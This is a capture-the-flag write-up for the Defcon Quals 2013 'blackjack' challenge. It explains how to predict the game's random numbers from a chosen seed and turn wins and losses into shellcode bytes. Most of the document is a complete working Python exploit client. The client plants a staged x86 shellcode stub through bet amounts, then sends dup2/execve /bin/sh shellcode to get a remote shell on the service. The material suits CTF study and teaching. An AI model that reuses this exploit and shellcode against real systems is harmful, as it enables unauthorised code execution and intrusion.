Defcon CTF Quals 2013 - \xff\xe4\xcc 200 (blackjack)

30 June 2013 by mf

Download problem: Here

This program wants us to play blackjack. Every win or loss that we score is stored inside an array and, if we manage to score 1337 points at the end, is executed by the program. The seed used by the random number generator is controlled by us, which enables us to build a local simulator which predicts wins/losses.

Shellcode is inserted by the program in the following way: if we win, than the inserted byte is betting_amount, and if we loose the inserted byte is -betting_ammount. We control the seed to the random number generator used by the problem with supplying the appropriate name, when asked. However, the following solution is able to use any seed, given that the chosen seed enables us to win the first couple of rounds to rake in some monies.

Since injecting shellcode takes time, we minimize the amount of code needed. We do this by first injecting a small stage which fetches and executes a second stage from the established connection.

The following code represents the complete blackjack-playing client.

import socket
import struct
from ctypes import *
import random
libc = cdll.LoadLibrary("libc.so.6") 

# We can work with any seed, given that we are able to win a few first rounds
seed = 0x41414142
rand_cnt = 0
libc.srand(seed)

def get_until(sock, delim):
   s = ""
   c = ""
   while not s.endswith(delim):
      c = sock.recv(1)
      s += c
   return s[:-len(delim)].strip()

def get_line(sock):
   return get_until(sock, "\n")

def calc_hand(hand):
   val = 0
   ases = 0

   for c in hand:
      if c == 11:
         ases += 1
      val += c

   if val > 21:
      # Go over ases
      for x in range(0, ases):
         val -= 10

         if val <= 20:
            break

   return val

def reset_rng(seed, cnt):
   # Yucky, but works
   global rand_cnt

   libc.srand(seed)

   for x in range(0, cnt):
      libc.rand()

   rand_cnt = cnt

def peek_card():
   card = draw_card()
   # Reset rand to where it was before we drew the card.
   reset_rng(seed, rand_cnt - 1)
   return card

def draw_card():
   global rand_cnt

   card = libc.rand() % 13 + 1  
   rand_cnt += 1

   if card == 1:
      return 11
   elif card == 11 or card == 12 or card == 13:
      return 10
   else:
      return card

def look_into_future():
   """
      Look one round into the future, and tell us the result
   """
   player_wins = 0

   num_dealer_drawn = 0
   num_user_drawn = 0

   user_hand = []
   dealer_hand = []

   # Draw 4 initial cards
   user_hand.append(draw_card())
   dealer_hand.append(draw_card())
   user_hand.append(draw_card())
   dealer_hand.append(draw_card())

   # Max out our sum, but stay <= 21
   while 1:
      print "[SIM] User: ", user_hand, " Total: ", calc_hand(user_hand)

      if calc_hand(user_hand) == 21:
         print "[SIM] Got Blackjack"
         break

      new_card = peek_card()
      future_hand = user_hand + [new_card]

      if calc_hand(future_hand) > 21:
         print "[SIM] You'd overshoot"
         break
      else:
         # Next card is not over 21
         print "[SIM] You draw"
         num_user_drawn += 1
         user_hand.append(draw_card())

   user_hand_val = calc_hand(user_hand)

   # After this point, we have maximized our possible winnings. Let's see 
   # how the dealer does
   while 1:
      print "[SIM] Dealer: ", dealer_hand, " Total: ", calc_hand(dealer_hand)

      if calc_hand(dealer_hand) > 21:
         # Dealer overshot
         print "[SIM] Dealer overshot"
         break

      if calc_hand(dealer_hand) > 16:
         # Dealer will stand if value is larger than 16
         print "[SIM] Dealer stands"
         break

      dealer_hand.append(draw_card())
      print "[SIM] Dealer draws"
      num_dealer_drawn += 1

   dealer_hand_val = calc_hand(dealer_hand)

   print "[SIM] Dealer: ", dealer_hand
   print "[SIM] Player: ", user_hand

   # Decision rules. Taken verbatim from the binary
   if user_hand_val == 21 and dealer_hand_val != 21:
      player_wins = 1
   elif user_hand_val != 21 and dealer_hand_val == 21:
      player_wins = 0
   elif user_hand_val > 21:
      player_wins = 0
   elif dealer_hand_val > 21:
      player_wins = 1
   elif user_hand_val > dealer_hand_val:
      player_wins = 1
   elif user_hand_val < dealer_hand_val:
      player_wins = 0
   elif user_hand_val == dealer_hand_val:
      player_wins = -1

   if player_wins == 1:
      print "[SIM] You win in %d draws" % (num_user_drawn)
   elif player_wins == 0:
      print "[SIM] You loose"
   else:
      print "[SIM] Draw"

   return player_wins, num_user_drawn, num_dealer_drawn

def predict_sequence(seq):
   """
      Looks into the future len(seq) rounds and checks if the sequence of wins/losses matches
      the one we want
   """
   matched = 0
   x = 0
   old_cnt = rand_cnt

   while x < len(seq):
      player_wins, user_drawn, dealer_drawn = look_into_future()

      if player_wins == -1:
         # It will be a draw
         continue
      elif player_wins == seq[x]:
         # The outcome matches what we want, go to next one
         matched += 1
         x += 1
      else:
         # Mismatch
         break

   # Restore rng
   reset_rng(seed, old_cnt)

   print "Matched: ", matched
   return matched

def play_single_round(bet_val, hit_num):
   """
      Plays single round
   """
   status = 0

   get_until(s, "You have $")
   # Money status
   m = int(get_line(s))
   print "Money: ", m

   # Wait until bet
   get_until(s, "How much would you like to bet (-1 to exit)? ")

   # Send bet
   s.send(str(bet_val) + "\n")

   # Get two lines of statuses
   game_dealer = get_line(s)
   game_player = get_line(s)

   print "[GAM] Dealer: ", game_dealer
   print "[GAM] Player: ", game_player

   # Make decision
   get_until(s, "Hit or Stand (H/S)? ")

   # Hit as many times as hit_num specifies
   while hit_num:
      print "Hitting"
      s.send("H\n")
      game_player = get_line(s)
      print game_player
      hit_num -= 1

   print "Standing"
   print s.send("S\n")

   while 1:
      line = get_line(s)
      print line
      if line == "You win!":
         print "[GAM] WIN"
         m += bet_val
         status = 1
         break
      elif line == "You lose!":
         print "[GAM] LOSS"
         m -= bet_val
         status = 0
         break
      elif line == "It's a draw.":
         print "[GAM] DRAW"
         status = -1
         break

   if status == 0 and bet_val == 127:
      # Deal with the waitress
      get_until(s, "Would you like to tip $1 (y/n)? ")
      s.send("y\n")

      # Consume one line
      get_line(s)

      # Waitress invokes rand() three times, so let's update our rand() state
      draw_card()
      draw_card()
      draw_card()

   # Return amount of money we have at the moment
   return m

def play_blackjack(s, rounds=None, play_until=None):
   """
      Plays blackjack for a certain amount of rounds, or until we reach
      our desired winnings. We always try to maximize our winnings here
   """
   cnt = 0
   m = 0
   p = 0

   while 1:
      bet_val = 0

      if rounds == cnt:
         return

      if play_until and m == play_until:
         return

      player_wins, user_drawn, dealer_drawn = look_into_future()

      if player_wins:
         print "Betting high"

         if play_until:
            if play_until < m:
               # Bet low, we need to loose money, not win
               bet_val = 1
            elif play_until - m >= 0x47:
               # 0x47 => inc edi (a nop command)
               bet_val = 0x47
            else:
               bet_val = play_until - m
         else:
            bet_val = 0x47
      else:
         print "Betting low"
         # 0xFD => cld (a nop command)
         if play_until < m:
            # Bet high, we need to loose money
            bet_val = 120
         else:
            bet_val = 3

      print "=====BET " , hex(bet_val)

      # Ok, let's play out this round
      m = play_single_round(bet_val, user_drawn)

      cnt += 1

def plant_shellcode(s, payload=None):
   """
      Make sure there are non 0-bytes in the payload!
   """
   p = 0

   # Iterate over all instructions in our payload
   for instr in payload:
      seq = []

      # Convert bytes to sequence of wins/losses
      for b in instr[0]:
         val = struct.unpack("b", b)[0]

         if val > 0:
            # Positive value, so we want a win
            seq.append(1)
         elif val < 0:
            # Negative value, so we want a loose
            seq.append(0)

      while predict_sequence(seq) != len(instr[0]):
         # Keep padding with nop's until we find a sequence of wins/losses which
         # matches our current instruction
         player_wins, user_drawn, dealer_drawn = look_into_future()

         if player_wins:
            print "Betting high"
            # 0x47 => inc edi (a nop command)
            bet_val = 0x37
         else:
            print "Betting low"
            # 0xFD => cld (a nop command)
            bet_val = 3

         # Play out this round
         play_single_round(bet_val, user_drawn)

      # We found a sequence which matches, let's put the shellcode instruction in...
      x = 0
      while x < len(instr[0]):
         player_wins, user_drawn, dealer_drawn = look_into_future()
         val = struct.unpack("b", instr[0][x])[0]
         print "   BET " , abs(val)
         if player_wins != -1:
            # No draw was had, move one byte onwards
            x += 1

         play_single_round(abs(val), user_drawn)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("localhost", 6789))

# Send seed
get_until(s, "Got a name? ")
s.send(struct.pack("I", seed) + "\n")

# Our first stage. Reads 255 bytes of second stage and jumps to it
sc = [
   ["\x31\xdb"],              # xor    %ebx,%ebx
   ["\x31\xc0"],              # xor    %eax,%eax
   ["\x31\xd2"],              # xor    %edx,%edx
   ["\xb3\x04"],              # mov    $0x4,%bl
   ["\xb9\x20\xc2\x04\x08"],     # mov    $0x804c220,%ecx
   ["\xb2\xff"],              # mov    $0xff,%dl
   ["\xb0\x03"],              # mov    $0x3,%al
   ["\xcd\x81"],              # int    $0x81 (Changed int 0x80 to 0x81. It is fixed by our waitress
   ["\xb9\x20\xc2\x04\x08"],     # mov    $0x804c220,%ecx
   ["\xff\xd1"],              # call   *%ecx
]

plant_shellcode(s, payload=sc)

# Keep playing until 1337
play_blackjack(s, play_until=1337)
s.send("-1\n")

# dup() + execv() shellcode
stage = "\x31\xc9\x6a\x04\x5b\x6a\x3f\x58\xcd\x80\x41\x80\xf9\x03\x75\xf5\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"

s.send(stage + (0xff - len(stage))*"A")

# Consume junk
s.recv(10*1024)

# Boom.
s.send("uname -a\n")

print s.recv(1024)

Comments